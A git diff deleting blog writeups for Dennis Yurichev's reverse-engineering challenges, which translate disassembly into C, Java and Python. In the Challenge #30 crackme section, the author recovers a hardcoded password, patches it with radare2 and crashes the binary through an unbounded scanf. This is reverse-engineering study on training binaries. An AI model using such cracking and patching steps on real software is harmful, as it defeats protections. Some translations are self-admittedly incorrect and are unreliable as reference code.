-#+BEGIN_SRC asm -f(int): - push rbp - mov rbp, rsp - mov DWORD PTR [rbp-4], edi - mov eax, DWORD PTR [rbp-4] - not eax - pop rbp - ret -#+END_SRC - -=not= corresponds to =~=, and =neg= corresponds to =-= We're dealing with =neg= here. - -The equivalent C code for the snippet is given. Because I had Compiler Explorer -open already, I decided to throw this in there for kicks and giggles. x86-64 gcc -8.3 with =-O2= spits out the exact same series of instructions as the challenge. I -love the predictability of C compilers. - -#+BEGIN_SRC c -int f(int a, int b) -{ - return (a + b - 1) & -b; -} -#+END_SRC - -This doesn't answer our question, though. What does this do? We can test a few -values of =a= and =b= with the following snippet, replacing =2<<0= with various -constants. - -#+BEGIN_SRC c -int main(void) -{ - int i, j; - j = 2 << 0; - for (i = 0; i < 256; i++) { - printf("%-8x %-8x %-8x\n", i, j, f(i, j)); - } -} -#+END_SRC - -#+BEGIN_SRC -0 2 0 -1 2 2 -2 2 2 -3 2 4 -4 2 4 -5 2 6 -6 2 6 -7 2 8 -8 2 8 -9 2 a -a 2 a -b 2 c -c 2 c -d 2 e -e 2 e -f 2 10 -... -0 8 0 -1 8 8 -2 8 8 -3 8 8 -4 8 8 -5 8 8 -6 8 8 -7 8 8 -8 8 8 -9 8 10 -a 8 10 -b 8 10 -c 8 10 -d 8 10 -e 8 10 -f 8 10 -10 8 10 -11 8 18 -12 8 18 -#+END_SRC - -It would seem that this is some sort of "least multiple of \(b\) such that \(b < -a\) given that \(b\) is a power of two, but I feel as though I'm grasping at -straws here. - -As a Gentoo user, I have the Linux source tree checked out at =/usr/src/linux=, -and because the hint mentions low-level programming, I decided to create a -regular expression for the C I came up with and let =ag= have a go at it. - -=ag "\\(.*-[^>].*\\).*&.*\\-" /usr/src/linux= yielded quite a few results. Before -I ran the command, I wasn't expecting much, thinking that my regex was too -permissive, but the first result I saw looked remarkably like the C expression I -had come up with -- right at the beginning of =sysv_readdir= in =fs/sysv/dir.c=: - -#+BEGIN_SRC c -static int sysv_readdir(struct file *file, struct dir_context *ctx) -{ - unsigned long pos = ctx->pos; - struct inode *inode = file_inode(file); - struct super_block *sb = inode->i_sb; - unsigned long npages = dir_pages(inode); - unsigned offset; - unsigned long n; - - ctx->pos = pos = (pos + SYSV_DIRSIZE-1) & ~(SYSV_DIRSIZE-1); - if (pos >= inode->i_size) - return 0; -#+END_SRC - -Hm. Remember how I mentioned that I expected =neg= to correspond to a =~=? Well, -jumping back to Compiler Explorer: - -#+BEGIN_SRC c -int f(int a) -{ - return ~a; -} -#+END_SRC - -#+BEGIN_SRC asm -f(int): - mov eax, edi - not eax - ret -#+END_SRC - -#+BEGIN_SRC c -int f(int a) -{ - return ~(a - 1); -} -#+END_SRC - -#+BEGIN_SRC asm -f(int): - mov eax, edi - neg eax - ret -#+END_SRC - -Modifying our search slightly to =ag "\\(.*-[^>].*\\).*&.*\\~.*\\-.*1"= yields a -massive number of results, some of which are named macros. Here's one of them, -in =include/uapi/linux/if_packet.h=: - -#+BEGIN_SRC c -#define TPACKET_ALIGN(x) (((x)+TPACKET_ALIGNMENT-1)&~(TPACKET_ALIGNMENT-1)) -#+END_SRC - -Cool. That makes me feel much more confident in my answer. - -* Challenge #11 - -The hint for this exercise is: "[t]his is a somewhat large function (in contrast -to the other exercises in this blog), but heavily used nowadays in various -software. As it can be clearly seen, it uses standard C/C++ functions including -strlen() and sscanf(). Some other helper function is also used. I intentionally -gave it this name to conceal its real function. So what does the whole code -snippet do?" - -I'd like to apologize in advance for the sloppiness of the code that follows. -Also, I've renamed =helper= to =is_hex_digit=, as it makes the code for =f= clearer. - -#+BEGIN_SRC c -#include -#include - -int is_hex_digit(char a) -{ - // lea edx, [rdi-48] - // mov eax, 1 - // cmp edx, 9 - // jbe .L2 - if (a <= '9') { - // .L2: - // ret - return 1; - } - - // and edi, -33 - // xor eax, eax - // sub edi, 65 - // cmp edi, 5 - // setbe al - // .L2: - // ret - return (a & -33) <= 'F' ? 1 : 0; -} - -int f(char *a, char *b) -{ - int len; - int local_12; - char *cur; - char *end; - char *dst; - char *next; - - // push r15 - // xor eax, eax - // or rcx, -1 - // push r14 - // push r13 - // push r12 - // mov r12, rsi - // push rbp - // mov rbp, rsi - // push rbx - // mov rbx, rdi - // sub rsp, 24 - // repnz scasb - // not rcx - dst = b; - cur = a; - len = strlen(a); - - // lea r14, [rbx-1+rcx] - // .L6: - // cmp rbx, r14 - // ja .L24 - while (cur <= end) { - // movsx eax, BYTE PTR [rbx] - // ... - // mov DWORD PTR [rsp+12], eax - local_12 = (int) *cur; - - // lea r13, [rbx+1] - next = cur + 1; - - // mov r15, r13 - // cmp eax, 43 - // jne .L7 - if (*cur == '+') { - // mov DWORD PTR [rsp+12], 32 - local_12 = ' '; - // jmp .L8 - } else { - // .L7: - // cmp eax, 37 - // jne .L8 - // movsx edi, BYTE PTR [rbx+1] - // call helper - // test eax, eax - // jne .L9 - if (*cur == '%' && is_hex_digit(*(cur + 1))) { - // .L9: - // movsx edi, BYTE PTR [rbx+2] - // lea r13, [rbx+3] - next = cur + 3; - - // call helper - // test eax, eax - // je .L11 - if (!is_hex_digit(*(cur + 2))) { - // .L11: - // or eax, -1 - // jmp .L10 - // .L10: - // add rsp, 24 - // pop rbx - // pop rbp - // pop r12 - // pop r13 - // pop r14 - // pop r15 - // ret - return -1; - } - - // lea rdx, [rsp+12] - // xor eax, eax - // mov esi, OFFSET FLAT:.LC0 - // mov rdi, r15 - // call __isoc99_sscanf - // test eax, eax - // je .L11 - if (!sscanf(cur + 1, "%2X", &local_12)) { - // .L11: - // or eax, -1 - // jmp .L10 - // .L10: - // add rsp, 24 - // pop rbx - // pop rbp - // pop r12 - // pop r13 - // pop r14 - // pop r15 - // ret - return -1; - } - } - - } - - // .L8: - // test r12, r12 - // je .L12 - if (b != NULL) { - // mov eax, DWORD PTR [rsp+12] - // mov BYTE PTR [rbp+0], al - *dst = local_12; - } - - // .L12: - // inc rbp - // mov rbx, r13 - // jmp .L6 - dst++; - cur = next; - } - - // .L24: - // mov eax, ebp - // sub eax, r12d - // .L10: - // add rsp, 24 - // pop rbx - // pop rbp - // pop r12 - // pop r13 - // pop r14 - // pop r15 - // ret - return dst - b; -} -#+END_SRC - -This could very well be cleaned up. In fact, I'm not even sure that my -translation is completely correct, but I got to the point where I felt it was -"good enough" and I could explain that =f= is a function for decoding a -[[https://en.wikipedia.org/wiki/Percent-encoding][percent-encoded]] string, where =a= is the encoded string and =b= is a destination to -decode to. If not for the telltale ='+'= corresponding to a =' '= and use of a ='%'= -character, I probably would have spent more time cleaning up my translation and -making sense of it. But I've seen code like this many times in my life, it -really is "heavily used nowadays in various software." - -I began this challenge by reversing =helper=, which I think was a good move as it -gave me some footing. I didn't even notice '%' or '+' in =f= at first, but the -realization that =helper= worked with hexadecimal digits got me started on ideas -for what =f= might do. - -On the topic of =helper=, the reason I was able to pick out that it's checking for -hexadecimal digits was realizing that \(a - 48 \leq 9\) is equivalent to \(a -\leq 49 + 9\). The comparison is otherwise pretty unclear. And I suspect that -the =-33= is related to how ASCII is encoded. - -The control flow for =f= is pretty intimidating with its 8 labels. When it came -time to look at =f=, I drew out a rudimentary control flow graph on paper -- -scribbling down the label names and drawing arrows between the different labels. -I found this to be very useful in identifying which jumps are loops (cycles in -the graph), which are conditionals (branches), and which labels are related -(linear relationships). - -#+BEGIN_EXPORT html - -#+END_EXPORT diff --git a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#23-#35)/challenges-re-writeups-3.org b/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#23-#35)/challenges-re-writeups-3.org deleted file mode 100644 index 44b3021..0000000 --- a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#23-#35)/challenges-re-writeups-3.org +++ /dev/null @@ -1,817 +0,0 @@ -#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#23-#35) -#+DATE: <2019-08-18 Sun 10:42> -#+TAGS: writeup, reverse-engineering, x86 - -This is the third set of solutions for my self-imposed challenge of completing -at least fifty of the exercises on Dennis Yurichev's [[https://challenges.re][challenges.re]] by the end of -the year. The previous set is available [[http:///jakob.space/challenges-re-writeups-2.html][here]]. - -* Challenge #23 - -The problem is prefaced with, "[t]his is another implementation of a well-known -library function, works only in a 64-bit environment." Translating the -disassembly directly to C reveals unrolled loops, but the intent isn't too -difficult to figure out. - -#+BEGIN_SRC c -int f(char *a) -{ - int i; - - if (a[0] == '\0') { - return 0; - } - - if (a[1] == (char) 0xff) { - return 1; - } - - if (a[2] == (char) 0xff) { - return 2; - } - - if (a[3] == (char) 0xff) { - return 3; - } - - if (a[4] == (char) 0xff) { - return 4; - } - - if (a[5] == (char) 0xff) { - return 5; - } - - i = 0; - - while (a[6] != (char) 0xff) { - if (a[7] == (char) 0xff) { - return i + 7; - } - - i += 8; - a += 8; - - if (a[1] == (char) 0xff) { - return i; - } - - if (a[1] == (char) 0xff) { - return i + 1; - } - - if (a[2] == (char) 0xff) { - return i + 2; - } - - if (a[3] == (char) 0xff) { - return i + 3; - } - - if (a[4] == (char) 0xff) { - return i + 4; - } - - if (a[5] == (char) 0xff) { - return i + 5; - } - } - - return i + 6; -} -#+END_SRC - -=f= returns the index of the first occurrence of =0xff= in =a=. In addition to asking -for the purpose of the code, the challenge poses a few additional questions. - -First: "The code may crash under some specific circumstances. Which are...?" =f= -will crash in the case that there isn't a 0xff character in the string. - -Second: "The code can be easily optimized using SSEx. How?" =movq= can be used to -dereference the characters of =a=, and the location of the =0xff= character can be -found using =pcmpeqb=. Actually implementing this is left as an exercise to the -reader. And I'm not saying that just because writing SIMD by hand makes me want -to break down and cry... or anything like that... - -Finally: "The code will not work correctly on big-endian architectures. How to -fix it?" In the disassembly, the LSB of =rdx= (=dl=) is treated as the _first_ -character in the sliding window. On a big-endian system, dereferencing the -window as an integer would mean that the LSB would correspond with the _last_ -character in the window. To fix this, you would need to change which parts of -the register are being looked at. I realize that's a rather anemic answer, but -the alternative would be going all-in and implementing =f= on a big-endian -platform, which I don't really want to do right now. - -* Challenge #26 - -I decided to skip challenges #24 and #25 as they were listed as "Level 2" and -"Level 3" respectively in terms of difficulty. Challenge #25 in particular -seemed particularly demanding. Challenge #26, on the other hand, was a -relatively straightforward bytecode reverse engineering task. Like Challenge -#14, disassemblies for both .NET and the JVM are given, and as I'm more familiar -with Java than C# (unfortunately), that's the disassembly I chose to work with. - -#+BEGIN_SRC java -public static byte f(byte a) { - return (byte) ((((long) a * 8623620610L) & 1136090292240L) % 1023L); -} -#+END_SRC - -Again, I'm not familiar with JVM bytecode, so I broke out [[https://en.wikipedia.org/wiki/Java_bytecode_instruction_listings][my favorite JVM -reference]]. Here are the instructions we're concerned with: - -#+BEGIN_SRC java -iload_0 // load an int value from local 0 -i2l // convert an int to a long -l2i // convert a long to an int -i2b // convert an int to a byte -ldc2_w // push a constant onto the stack -lmul // multiply two longs -land // perform a bitwise and on two longs -lrem // perform remainder division on two longs -#+END_SRC - -Even if you don't know how the JVM works, I think the purpose of =f= is fairly -clear as soon as you know what those few instructions do. - -I've typically been using Matt Godbolt's amazing [[https://godbolt.org/][Compiler Explorer]] to check my -solutions, but this time around I used [[http://javabytes.io/][Javabytes]]. The disassembly of my -translation for =f= matches what was given for the challenge, so I'm quite -confident in my answer. As for what it does: I began my analysis as I typically -do, giving the function some test values and observing the output. - -#+BEGIN_SRC java -public static void main(String[] args) { - for (int i = 0; i < 256; i++) { - System.out.printf("%3i: b\n", i, f((byte) i)); - } -} - -// 0: 0 -// 1: -128 -// 2: 64 -// 3: -64 -// 4: 32 -// ... -// 253: 63 -// 254: -65 -// 255: 127 -#+END_SRC - -That isn't very telling, but the oscillating sign gives me an idea. - -#+BEGIN_SRC java -public static String toPaddedBinary(byte a) { - String s = String.format("%8s", Integer.toBinaryString(a)); - s = s.replace(' ', '0'); - return s.substring(s.length() - 8, s.length()); -} - -public static void main(String[] args) { - for (int i = 0; i < 256; i++) { - System.out.printf("%s: %s\n", toPaddedBinary((byte) i), toPaddedBinary(f((byte) i))); - } -} - -// 00000000: 00000000 -// 00000001: 10000000 -// 00000010: 01000000 -// ... -// 11111101: 10111111 -// 11111110: 01111111 -// 11111111: 11111111 -#+END_SRC - -So =f= reverses the bits of =a=. - -* Challenge #27 - -This challenge threw me for a bit of a loop, as it didn't give the usual amd64 -output from GCC 4.9. Rather an i386 disassembly from MSVC 2010 was given, -alongside an arm64 disassembly from GCC 4.9. I tried both, but had some -significant trouble with the MSVC disassembly as it seemed to be dealing with -64-bit integers on a 32-bit architecture. - -After quickly reviewing CDOT's [[https://wiki.cdot.senecacollege.ca/wiki/Aarch64_Register_and_Instruction_Quick_Start#General-Purpose_Registers][AArch64 reference]] to get an idea of register -widths, this is the translation came up with: - -#+BEGIN_SRC c -int f(int a) -{ - return (((int) (((long) a * 0xc64b2279) >> 32)) + a) >> 9 - (a >> 31); -} -#+END_SRC - -I'm not particularly confident in this, however, as the behavior of =f= is to -return \(floor(a / 289)\). I suspect my poor understanding of the [[http://infocenter.arm.com/help/topic/com.arm.doc.dui0068b/CIHBEAGE.html][flexible -second operand]] (i.e. in =sub w0, w1, w0, asr 31=) is what gave me me the most -trouble. Perhaps this is a challenge I should return to when I properly learn -ARM. - -I tried a more direct translation to Python, - -#+BEGIN_SRC python -def test_f(a): - result = a * 0xc64b2279 - upper = result & 0xffffffff00000000 - lower = result & 0xffffffff - return ((upper + lower) >> 9) + \ - (((upper + lower) >> 9) >> 31) - -fmt = lambda n: bin(n)[2:].rjust(32, '0') - -for i in range(256): - print("{}\n{}\n".format(fmt(i), fmt(test_f(i)))) -#+END_SRC - -which didn't yield any recognizable patterns. - -Actually, before implementing it in Python, I implemented it in Emacs Lisp (I -might have been waiting on Python to compile? I don't remember). - -#+BEGIN_SRC elisp -(defun test-f (a) - (let* ((result (* a #xc64b2279)) - (upper (logand result #xffffffff00000000)) - (lower (logand result #xffffffff))) - (+ (ash (+ upper lower) 9) - (ash (ash (+ upper lower) 9) 31)))) -#+END_SRC - -Either way, this challenge wasn't fruitful. - -* Challenge #28 - -I suspect that this challenge was made a bit easier by GCC's optimizations. The -amd64 disassembly includes two unused functions, =f2= and =my_memdup= -- they're -used in some of the other disassemblies, but I chose to ignore them. - -#+BEGIN_SRC c -#include -#include - -int f1(int *a, int *b) -{ - return *a > *b ? 0 : -1; -} - -int f_main(void *src, int n) -{ - int tmp; - char *dst; - - dst = malloc(n * sizeof(int)); - memcpy(dst, src, n * sizeof(int)); - qsort(dst, n, sizeof(int), f1); - - if (n > 1) { - tmp = dst[n >> 1] + \ - dst[n >> 1 - 1]; - return (tmp + (tmp >> 31)) >> 1; - } - - return dst[0]; -} -#+END_SRC - -I've started to see this =(tmp + (tmp >> 31)) >> 1= idiom rather frequently, so I -decided to finally look it up, coming across [[https://stackoverflow.com/questions/40638335/why-does-the-compiler-generate-a-right-shift-by-31-bits-when-dividing-by-2][this]] Stack Overflow answer. I'm -glad I did, because realizing that it carries out signed integer division by two -makes this exercise far more clear. - -#+BEGIN_SRC c -#include -#include - -int f1(int *a, int *b) -{ - return *a > *b ? 0 : -1; -} - -int f_main(void *src, int n) -{ - char *dst; - - dst = malloc(n * sizeof(int)); - memcpy(dst, src, n * sizeof(int)); - qsort(dst, n, sizeof(int), f1); - - if (n > 1) { - return (dst[n / 2] + dst[n / 2 - 1]) / 2; - } - - return dst[0]; -} -#+END_SRC - -=f_main= returns the [[https://en.wikipedia.org/wiki/Median][median]] of a set of values. - -* Challenge #30 - -I have, once again, skipped another challenge that was being listed as "level -2," which brings us to the thirtieth challenge. This one is strikingly different -from the other challenges I've covered here; rather than being asked to describe -what a program does, the instruction read: - -"This program requires a password. Try to find it. - -As an additional exercise, try to change the password by patching the executable -file. Also try using one with a different length. What is the shortest possible -password here? - -Also try to crash the program using only string input." - -We're given several links to downloads. Binaries are provided for 32-bit -Microsoft Windows, Mac OS X, and i386/mips Linux. I went with i386 Linux, as I'd -be able to run the challenge natively.q - -#+BEGIN_SRC -jakob@Epsilon /tmp $ sha256sum password1 -96b8110208d61c7ac586910ebad22ef2e4bbeb867e6d6429967846698b9d02fc password1 -#+END_SRC - -Being faced with a binary, I was tempted to use this as an opportunity to try -out [[https://ghidra-sre.org/][Ghidra]], but while I waited for OpenJDK 11 to download, I peered inside with -radare2 and decided that it wasn't worth the trouble. Here's the disassembly, -according to radare: - -#+BEGIN_SRC -[0x080484ed]> pdf - ;-- eip: -┌ (fcn) main 149 -│ main (); -│ ; var int local_4h @ esp+0x4 -│ ; var int local_1ch @ esp+0x1c -│ ; var int local_9ch @ esp+0x9c -│ ; DATA XREF from 0x08048407 (entry0) -│ 0x080484ed 55 pushl %ebp -│ 0x080484ee 89e5 movl %esp, %ebp -│ 0x080484f0 83e4f0 andl $0xfffffff0, %esp -│ 0x080484f3 81eca0000000 subl $0xa0, %esp -│ 0x080484f9 65a114000000 movl %gs:0x14, %eax ; [0x14:4]=-1 ; 20 -│ 0x080484ff 8984249c0000. movl %eax, local_9ch -│ 0x08048506 31c0 xorl %eax, %eax -│ 0x08048508 c70424208604. movl $str.enter_password:, 0(%esp) ; [0x8048620:4]=0x65746e65 ; "enter password:" -│ 0x0804850f e89cfeffff calll sym.imp.puts ; int puts(const char *s) -│ 0x08048514 8d44241c leal local_1ch, %eax ; 0x1c ; 28 -│ 0x08048518 89442404 movl %eax, local_4h -│ 0x0804851c c70424308604. movl $0x8048630, 0(%esp) ; [0x8048630:4]=0x6e007325 -│ 0x08048523 e8b8feffff calll sym.imp.__isoc99_scanf -│ 0x08048528 83f801 cmpl $1, %eax ; 1 -│ ┌─< 0x0804852b 740c je 0x8048539 -│ │ 0x0804852d c70424338604. movl $str.no_password_supplied, 0(%esp) ; [0x8048633:4]=0x70206f6e ; "no password supplied" -│ │ 0x08048534 e877feffff calll sym.imp.puts ; int puts(const char *s) -│ │ ; JMP XREF from 0x0804852b (main) -│ └─> 0x08048539 c74424044886. movl $str.metallica, local_4h ; [0x8048648:4]=0x6174656d ; "metallica" -│ 0x08048541 8d44241c leal local_1ch, %eax ; 0x1c ; 28 -│ 0x08048545 890424 movl %eax, 0(%esp) -│ 0x08048548 e843feffff calll sym.imp.strcmp ; int strcmp(const char *s1, const char *s2) -│ 0x0804854d 85c0 testl %eax, %eax -│ ┌─< 0x0804854f 750e jne 0x804855f -│ │ 0x08048551 c70424528604. movl $str.password_is_correct, 0(%esp) ; [0x8048652:4]=0x73736170 ; "password is correct" -│ │ 0x08048558 e853feffff calll sym.imp.puts ; int puts(const char *s) -│ ┌──< 0x0804855d eb0c jmp 0x804856b -│ ││ ; JMP XREF from 0x0804854f (main) -│ │└─> 0x0804855f c70424668604. movl $str.password_is_not_correct, 0(%esp) ; [0x8048666:4]=0x73736170 ; "password is not correct" -│ │ 0x08048566 e845feffff calll sym.imp.puts ; int puts(const char *s) -│ │ ; JMP XREF from 0x0804855d (main) -│ └──> 0x0804856b 8b94249c0000. movl local_9ch, %edx ; [0x9c:4]=-1 ; 156 -│ 0x08048572 653315140000. xorl %gs:0x14, %edx -│ ┌─< 0x08048579 7405 je 0x8048580 -│ │ 0x0804857b e820feffff calll sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) -│ │ ; JMP XREF from 0x08048579 (main) -│ └─> 0x08048580 c9 leave -└ 0x08048581 c3 retl -#+END_SRC - -As you can see, this is just like any other "easy crackme." A simple string -comparison. radare2 doesn't automatically decode 0x8048630 as a string, but it's -trivial to obtain its value. - -#+BEGIN_SRC -:> psz @ 0x8048630 -%s -#+END_SRC - -Translating it into C is similarly trivial. - -#+BEGIN_SRC c -#include -#include - -int main(void) -{ - char buf[128]; - puts("enter password:"); - if (scanf("%s", buf) != 1) { - puts("no password supplied"); - } - if (strcmp(buf, "metallica") == 0) { - puts("password is correct"); - } else { - puts("password is not correct"); - } -} -#+END_SRC - -I do have to complement Yurichev's choice of strong passwords. \m/ - -One may wonder where I pulled =128= from. Our stack layout looks something like -this: - -#+BEGIN_SRC prog -+-------------------------------------+ -|%esp | -|Scratch space for function arguments.| -+-------------------------------------+ -|%esp + 0x1c | -|Buffer starts here | -|... | -|Buffer ends here | -+-------------------------------------+ -|%esp + 0x9c | -|Stack canary, perhaps? | -+-------------------------------------+ -|%esp + I DON'T CARE ANYMORE | -|Here be dragons. | -+-------------------------------------+ -#+END_SRC - -radare2 is kind enough to automatically name local variables according to their -position in the stack layout, so I was able to derive this from the names -=local_1ch= and =local_9ch=. =local_4h= isn't really a local variable -- it looks like -one, but that's just how the compiler decided to set up arguments for the -various function calls (dereferencing the stack pointer, as opposed to using -=push=). Anyway, subtracting =0x9c= from =0x1c= gets you 128 -- hence, the buffer size -in my translation. - -It's pretty easy to patch the password, since =strcmp= operates on C strings. Just -patch the characters. No sort of length needs to be adjusted since they're -null-terminated. The shortest possible password would be zero characters long, -which would be achieved by patching in a null byte at the 'm' in "metallica". -This can be done however you like, though radare makes it easy if you've opened -the file in "write mode": just seek to the location of the 'm' and =wx 00=. -Crashing the program is similarly easy, since there are no bounds checks on the -call to =scanf=. - -#+BEGIN_SRC -jakob@Epsilon /tmp $ python -c "print('a' * 256)" | ./test -enter password: -password is not correct -Segmentation fault -#+END_SRC - -* Challenge #31 - -Yowch. We're only given disassemblies from MSVC this time. - -#+BEGIN_SRC c -double f(double a, int b) -{ - double cur; - cur = 1.0; - while (((double) (((int) (cur - a)) - b)) <= 0.001) - cur = (a + 1.0) * 0.5; - return cur; -} -#+END_SRC - -Once again, I deferred to [[https://float.exposed/][float.exposed]] to decode the floating-point constant -values. =__real@3ff0000000000000= is =1.0=, =__real@3f50624dd2f1a9fc= is approximately -=0.001=, and =__real@3fe0000000000000= is =0.5=. I also needed to look up most of the -SIMD instructions. =cvttsd2si= converts a double to an int, =cdq= converts an int -into a long, =cvtdq2pd= converts an int to a double, and =comisd= is comparable to -=cmp=. - -This converges for very few values. Which is a pain, since this translation -gives me some very promising output in [[https://godbolt.org/][Compiler Explorer]]. But considering the -value that the loop gets stuck on, I suspect that =f= averages =a= and =b=. - -* Challenge #32 - -We're given a hint that, "[t]his is a standard C library function. The source -code is taken from MSVC 2010." - -#+BEGIN_SRC c -#include - -char *f(char *a, char *b) -{ - char *cur; - char *a_cur; - char *b_cur; - - cur = a; - - if (*b == '\0') { - return a; - } - - while (*cur != '\0') { - a_cur = cur; - b_cur = b; - - while (*a_cur != '\0' && *b_cur != '\0' && *a_cur == *b_cur) { - a_cur++; - b_cur++; - } - - if (*b_cur == '\0') { - return cur; - } - - cur++; - } - - return NULL; -} -#+END_SRC - -I think the translation makes the purpose of this function reasonably clear, but -the hint means I can verify my work against C's tiny standard library. =f= is -obviously one of the library's [[https://en.wikipedia.org/wiki/C_string_handling][string functions]]. Can you guess which one? - -(My answer is that =f= is an implementation of =strstr=.) - -* Challenge #33 - -What gave it away for me this time was the "crypto" tag. I stopped in my -translation efforts about here, - -#+BEGIN_SRC c -void f(void *a, void *b, void *c) -{ - int mushroom; // _k0 - int bean; // _k1 - int tomato; // _k2 - int corn; // _k3 - - // eax = a[0] - // ecx = a[1] - - mushroom = b[0]; - bean = b[1]; - - // esi = b[3]; - // edx = 0; - - tomato = b[2]; - corn = b[3]; - - // edi = 32; - - // LL8 - esi = ecx >> 5 + bean; - ebx = ecx << 4 + mushroom; - edx -= 0x61c88647; - - esi ^= ebx; - ebx = ecx + edx; - esi ^= ebx; - - eax += esi; - - esi = eax >> 5 + corn; - ebx = eax << 4 + tomato; - - esi ^= ebx; - ebx = eax + edx; - esi ^= ebx; - - ecx += esi; - edi--; - - // When edi == 0: c[0] = eax, c[1] = ecx -} -#+END_SRC - -and decided to do a search for '0x61c88647 hash'. This yields a few interesting -results, such as [[https://stackoverflow.com/questions/38994306/what-is-the-meaning-of-0x61c88647-constant-in-threadlocal-java][one]] describing the constant used in ThreadLocal.java's -implementation Fibonacci hashing and [[https://softwareengineering.stackexchange.com/questions/63595/tea-algorithm-constant-0x9e3779b9-said-to-be-derived-from-golden-ratio-but-the][another]] describing the constants used in -the Tiny Encryption Algorithm. - -This immediately set off bells for me. I read Bruce Schneier's /Applied -Cryptography/ some years back and was instantly reminded that TEA uses [[https://en.wikipedia.org/wiki/Block_cipher#Operations][ARX]] with -shifts of =5= and =4=. If you pull up Wikipedia's reference code for TEA encryption, -you'll be greeted with the following: - -#+BEGIN_SRC c -void encrypt (uint32_t v[2], uint32_t k[4]) { - uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ - uint32_t delta=0x9E3779B9; /* a key schedule constant */ - uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ - for (i=0; i<32; i++) { /* basic cycle start */ - sum += delta; - v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); - v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); - } /* end cycle */ - v[0]=v0; v[1]=v1; -} -#+END_SRC - -Armed with this, I can confidently say that =f= is an implementation of TEA -encryption with a schedule constant of =0x61c88647=. - -* Challenge #34 - -Another crypto challenge. This time, we're told that "[t]his is a well-known -cryptographic algorithm from the past." The disassembly was simple enough that I -thought to translate it into standard mathematical notation rather than C, but -it turned out to be far less helpful than the equivalent C. - -#+BEGIN_SRC c -uint16_t f(uint16_t a) -{ - uint16_t tmp; - - tmp = a << 2; - tmp ^= a; - tmp <<= 1; - tmp ^= a; - tmp <<= 2; - tmp ^= a; - - return ((tmp & 32) << 10) | (a >> 1); -} -#+END_SRC - -That said, I'm not familiar with the particular algorithm. There's a clear -pattern, but I'm not sure where to start looking. Is it a hash function? Some -kind of bastardized XOR encryption? Who knows. - -* Challenge #35 - -This was a tough one. I'll give my initial translation to C and explain where I -went wrong: - -#+BEGIN_SRC c -#include -#include - -int f(int x, int y) -{ - int a, b; - - if (x == 0) { - return y; - } - - if (y == 0) { - return x; - } - - a = x >> ffs(x); - b = y >> ffs(y); - - while (a != b) { - if (a < b) { - SWAP(a, b); - } - - if (a == 1) { - break; - } - - b = (b - a) >> ffs(b - a); - } - - return a << ffs(x | y); -} -#+END_SRC - -One thing worth remarking on in the disassembly is this: - -#+BEGIN_SRC asm - xor esi, edx - xor edx, esi - xor esi, edx -#+END_SRC - -This is the [[https://en.wikipedia.org/wiki/XOR_swap_algorithm][XOR swap algorithm]]. In an attempt to make the translation more -clear, I replaced it with a (non-existent) =SWAP= macro. =ffs= is also a POSIX -extension that [[https://stackoverflow.com/questions/757059/position-of-least-significant-bit-that-is-set][corresponds nicely]] to the =bsf= instruction. - -The issue? I've been reading these MSVC disassemblies wrong the whole time. Take -this instruction, for example: =mov edx, DWORD PTR _y$[esp+4]=. I'd never actually -done out the calculations. As it turns out, =_rt$2[esp+8]= aliases with =y=. I -thought that =_rt$2= was a distinct variable and that the compiler was storing to -some local variable but never using it. This isn't the case, hence why the -translation doesn't work as intended. - -What I need to start doing for these MSVC disassemblies is translating them into -something I can assemble. - -#+BEGIN_SRC asm -global f -f: - push ecx - push esi - mov esi, DWORD [esp+12] - test esi, esi - jne init - mov eax, DWORD [esp+16] - pop esi - pop ecx - ret -init: - mov edx, DWORD [esp+16] - mov eax, esi - test edx, edx - je exit - or eax, edx - push edi - bsf edi, eax - bsf eax, esi - mov ecx, eax - mov DWORD [esp+8], eax - bsf eax, edx - shr esi, cl - mov ecx, eax - shr edx, cl - mov DWORD [esp+16], eax - cmp esi, edx - je return -lp: - jbe skip - xor esi, edx - xor edx, esi - xor esi, edx -skip: - cmp esi, 1 - je return - sub edx, esi - bsf eax, edx - mov ecx, eax - shr edx, cl - mov DWORD [esp+16], eax - cmp esi, edx - jne lp -return: - mov ecx, edi - shl esi, cl - pop edi - mov eax, esi -exit: - pop esi - pop ecx - ret 0 -#+END_SRC - -Actually, I should be doing this for all of the challenges... Anyway, observing -a few test values for =f=: - -#+BEGIN_SRC prog -f(1, 1) = 1 -f(1, 2) = 1 -f(1, 3) = 1 -f(1, 4) = 1 -f(1, 5) = 1 -f(1, 6) = 1 -f(1, 7) = 1 -f(1, 8) = 1 -f(1, 9) = 1 -... -f(1, 252) = 1 -f(1, 253) = 1 -f(1, 254) = 1 -f(1, 255) = 1 -f(2, 1) = 1 -f(2, 2) = 2 -f(2, 3) = 1 -f(2, 4) = 2 -f(2, 5) = 1 -f(2, 6) = 2 -f(2, 7) = 1 -f(2, 8) = 2 -f(2, 9) = 1 -f(2, 10) = 2 -f(2, 11) = 1 -f(2, 12) = 2 -... -f(9, 1) = 1 -f(9, 2) = 1 -f(9, 3) = 3 -f(9, 4) = 1 -f(9, 5) = 1 -f(9, 6) = 3 -f(9, 7) = 1 -f(9, 8) = 1 -f(9, 9) = 9 -... -f(10, 1) = 1 -f(10, 2) = 2 -f(10, 3) = 1 -f(10, 4) = 2 -f(10, 5) = 5 -f(10, 6) = 2 -f(10, 7) = 1 -f(10, 8) = 2 -f(10, 9) = 1 -f(10, 10) = 10 -f(10, 11) = 1 -f(10, 12) = 2 -... -#+END_SRC - -It took me a while, but I eventually noticed the pattern. =f= is the [[https://en.wikipedia.org/wiki/Greatest_common_divisor][greatest -common divisor]] function. diff --git a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#36-#74)/challenges-re-writeups-4.org b/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#36-#74)/challenges-re-writeups-4.org deleted file mode 100644 index 1108af7..0000000 --- a/org/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#36-#74)/challenges-re-writeups-4.org +++ /dev/null @@ -1,1150 +0,0 @@ -#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#36-#74) -#+DATE: <2019-12-29 Sun 19:55> -#+TAGS: writeup, reverse-engineering, x86 - -This 